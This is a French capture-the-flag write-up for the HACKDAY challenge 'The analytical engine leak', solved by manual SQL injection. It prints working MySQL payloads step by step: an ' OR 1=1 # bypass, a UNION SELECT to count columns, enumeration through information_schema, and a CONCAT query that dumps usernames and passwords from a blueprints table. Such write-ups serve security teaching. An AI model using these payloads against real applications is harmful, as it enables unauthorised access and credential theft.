The analytical engine leak
Flag: HACKDAY{$ea5y_INjeCTion$}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Il faut faire une injection SQL à la main. Pour cela, on tente un payload de reconnaissance dans le username : ' OR 1=1 #

Cela a fonctionné, on a même plusieurs résultats, ce qui montre que l'on peut faire un UNION SELECT
pour dump les données de la base.
Il faut maintenant déterminer le nombre de colonnes, on en rajoute jusqu'à ce que ça fonctionne. Avec 3 colonnes, il n'y a pas d'erreur. Payload :
' OR 1=1 UNION SELECT 1, 2, 3 #

On cherche désormais à récupérer les tables existantes dans la base de donnée. Les erreurs affichées montrent qu'il s'agit d'une base MySQL. Payload :
' OR 1=2 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema != 'information_schema' #

Maintenant, il faut récupérer les colonnes de la table blueprints
. Payload :
' OR 1=2 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name = 'blueprints' #

Enfin, on peut dump tous les utilisateurs. Payload :
' OR 1=2 UNION SELECT 1, CONCAT(id, ':', username, ':', password, ':', is_encrypted, ':', file_name, ':', description), 3 FROM blueprints #

Finalement, un tour sur CyberChef permettra de voir que la description de l'utilisateur cipher
est la base58 du flag.

Dernière mise à jour
Cet article vous a-t-il été utile ?